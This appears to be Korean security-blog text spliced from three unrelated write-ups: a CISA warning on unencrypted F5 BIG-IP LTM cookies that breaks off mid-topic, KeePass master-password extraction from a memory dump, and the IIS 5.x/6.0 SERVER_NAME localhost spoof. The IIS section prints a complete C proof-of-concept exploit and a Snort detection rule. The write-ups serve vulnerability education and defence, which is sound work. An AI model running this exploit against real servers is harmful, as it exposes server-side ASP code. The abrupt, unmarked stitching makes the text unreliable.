- CISA는 F5 BIG-IP LTM(로컬 트래픽 관리자, Local Traffic Manager) 모듈에서 생성된 쿠키를 악용한 내부 네트워크 탐색에 대해 경고 [1] - 공격자는 숨겨진 내부 장비를 찾아내고 이를 타켓으로 삼아 침투할 수 있는 취약점을 찾는데 사용할 수 있음
2. 주요내용
- F5 BIG-IP: 애플리케이션 배포 및 트래픽 관리 도구로, 웹 애플리케이션의 로드 밸런싱과 보안을 제공하는 솔루션 > LTM 모듈: 트래픽을 관리하고 로드 밸런싱을 통해 네트워크 트래픽을 여러 서버에 분산
- LTM 모듈은 세션 일관성을 유지하기 위해 쿠키를 사용 > 해당 쿠키를 통해 사용자가 동일한 백엔드 서버로 지속적으로 접속할 수 있도록 함 > 그러나, 해당 쿠키는 기본적으로 암호화되지 않은 상태로 설정되어 있음
- 내부 서버 IP 주소, 포트 번호, 로드 밸런싱 설정 등의 정보가 암호화 없이 쿠키에 포함되어 있음 > 쿠키에서 얻은 정보를 기반으로 네트워크 내 추가 자원을 식별하거나 취약점을 찾아 악용할 수 있음
- F5는 BIG-IP 11.5.0부터 모든 쿠키를 암호화할 수 있는 'Required' 옵션 제공 [2][3] > 쿠키 암호화가 활성화되면 BIG-IP LTM 시스템은 192-Bit AES 암호화 후 Base64 인코딩하여 HTTP 응답에 포함 > 클라이언트가 암호화된 쿠키를 전송한 경우 BIG-IP LTM은 Base64 디코딩 후 복호화한 후 HTTP 요청에 복호화된 쿠키를 포함
- 공격자가 메모리 덤프에 접근하게 되었다는 것은 이미 PC가 일정부분 공격자에게 탈취되었다는 의미
영향받는 버전: KeePass 2.54 이전 2.x 버전
2.1 실습
- KeePass 다운로드 후 File > New를 선택해 데이터베이스 생성
> Windows용 2.53.1 버전 사용
- 데이터베이스를 여는데 사용할 마스터 비밀번호 설정
> 마스터 비밀번호는 데이터베이스에 접속하기 위한 비밀번호로, [사진 4]와 같이 데이터베이스 접속 시 입력해야하는 값
> 해당 마스터 비밀번호 하나로 모든 비밀번호를 관리
- KeePass 프로세스 메모리 덤프 수행
> 작업관리자를 통해 메모리 덤프 진행
- 공개된 PoC를 [4] 사용한 결과 마스터 비밀번호를 추출됨
> 완전한 형태의 마스터 비밀번호는 아니지만 출력 결과를 통해 누락된 문자를 유추할 수 있음
> 마스터 비밀번호를 탈취한 공격자는 저장된 모든 자격 증명에 엑세스가 가능해짐
3. 대응방안
① 벤더사에서 제공하는 업데이트 적용
- 23.06 ~ 23.07 해당 취약점이 패치된 2.54 버전 발포 예정
> 현재 포럼을 통해 취약점이 해결된 테스트 버전을 배포 [5]
> 공개된 테스트 버전에 대해서는 PoC가 적용되지 않음을 확인
> 또한, 마스터 비밀번호가 메모리에 남아있을 수도 있으므로 시스템 변경, 데이터 덮어쓰기 등을 권고
수정내역 1. 텍스트 상자의 텍스트를 가져오거나 설정하기 위한 직접 API 호출을 실행하여 비밀이 누출될 수 있는 관리 대상 스트링 생성을 피합니다. 2. 프로세스 메모리에 무작위 문자가 포함된 더미 플래그먼트를 만듭니다.이 더미 플래그먼트는 사용자의 마스터 암호와 거의 같은 길이가 되며 실제 키를 난독화합니다.
- 업데이트 적용이 불가한 경우 다른 비밀번호 관리 프로그램 사용
> KeePassXC, Strongbox, KeePass 1.X의 경우 해당 취약점에 영향을 받지 않음
- MS IIS 5.0, 5.1, 6.0에서 원격의 사용자가 SERVER_NAME 변수를 스푸핑
- IIS 500-100.asp 오류 페이지를 통해 잠재적으로 중요한 ASP 코드가 노출되는 취약점
영향받는 버전 - IIS 5.0, 5.1, 6.0
영향받는 플랫폼 - MS Windows 2000 with SP4 - MS Windows XP Professional with SP2 - MS Windows 2003 with SP1
2.1 분석
- IIS 5.x 버전은 "SERVER_NAME" 서버변수가 "localhost" 경우 중요 정보를 표시하는 취약점을 가짐
- "SERVER_NAME" 변수가"localhost"일 때, ASP 페이지에 에러가 있는 경우 ASP의 오류코드가 브라우저를 통해 표시
- 원격의 공격자는 "SERVER_NAME" 변수를 "localhost"로 스푸핑하여 접근
- 해당 취약점은 IIS 서버의 request.servervariables("SERVER_NAME")에서 발생
- 사용자 요청을 받은 경우 "SERVER_NAME"은 웹 서버 자체 IP 주소(혹은 localhost_자기 자신을 뜻함)를 반환
- localhost는 인증된 사용자가 웹 서버 자체에서 검색하고 있다는 것을 어플리케이션이나 서비스에 증명하는데 사용됨
- IIS 5.x 500-100.asp 페이지는 서버 변수를 사용해 오류가 발생한 코드의 표시 여부를 결정하므로 공격에 주로 사용됨
- 이를 정리하면 다음과 같음
① IIS 5.x 버전에서 localhost는 서버에 접근 가능한 인증된 사용자를 의미 ② "SERVER_NAME" 서버변수가 "localhost"를 반환한다는 점을 악용 ③ 공격자는 HTTP 요청 메세지에 localhost를 섞어서 전송할 ④ request.servervariables("SERVER_NAME")에 의해인증된 사용자가 아님에도 인증된 사용자로 인식
2.2 PoC 분석
- HTTP 요청에 localhost을 삽입해 요청 전송
※ Host 헤더를 localhost로 변조하는것 또한 익스플로잇이 가능할것으로 판단됨.
#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib")
//max size to socket buffer
#define LEN_BUF 2048
//socket status
#define Conectado 1868
void main(int argc, char *argv[])
{
/*connect to a host throught a port*/
int Conecta(char *Host, short puerto);
//socket from the connection
int socket;
//to get the data received
char buf[LEN_BUF];
FILE *data;
printf("\n Proof of Concept");
printf("\n IIS 5.x and IIS 6.0 Server Name Spoof - by Lympex");
printf("\nContact: lympex[at]gmail[dot]com - http://l-bytes.tk");
printf("\n----------------------------------------------------\n");
if(argc!=4)
{
printf("\n[+] Usage: %s server.com 80 /test.asp\n",argv[0]);return;
}
//conectamos
socket=Conecta(argv[1],(short)atoi(argv[2]));
if(socket==-1)
{
printf("\n[+] Error connecting to host\n");
return;
}printf("\n[+] Connected!\n");
if((data=fopen("received_data.txt","w"))==NULL)
{
printf("\n[+] Error saving received data\n");
WSACleanup();
return;
}
/*send the EVIL REQUEST*/
strcpy(buf,"GET http://localhost");strcat(buf,argv[3]);strcat(buf," HTTP/1.0\n\n");
send(socket,buf,strlen(buf),0);
//while we aren´t disconnected
do
{
buf[recv(socket,buf,LEN_BUF,0)]='\0';
fputs(buf,data);
}while(socket==Conectado);
WSACleanup();
fclose(data);
printf("\n[+] Received data, saved in: \x22received_data.txt\x22\n");
return;
}
/*Connect to a host throught a port - by Lympex*/
int Conecta(char *Host, short puerto)
{
/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
/*estructura con los datos para realizar la conexion*/
struct sockaddr_in Winsock_In;
struct hostent *Ip;
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
//miramos si está correcto, y así no rellenamos la estructura Winsock_In para nada
if(Winsock==INVALID_SOCKET)
{
/*salimos*/
WSACleanup();
return -1;
}
/*rellenamos la estructura*/
Ip=gethostbyname(Host);
Winsock_In.sin_port=htons(puerto);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=inet_addr(inet_ntoa(*((struct in_addr *)Ip->h_addr)));
/*conectamos*/
if(WSAConnect(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
/*salimos*/
WSACleanup();
return -1;
}
return Winsock;
}
3. 대응방안
① 해당 HTTP 요청을 탐지 가능한 정책 적용
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"GPL WEB_SERVER WEB-IIS Remote IIS Server Name spoof attempt loopback IP"; flow:to_server,established; content:"http|3a|//127.0.0.1"; pcre:"/http\x3A\/\/127\.0\.0\.1\/.*\.asp/i"; reference:cve,2005-2678; classtype:web-application-activity; sid:2100139; rev:5;)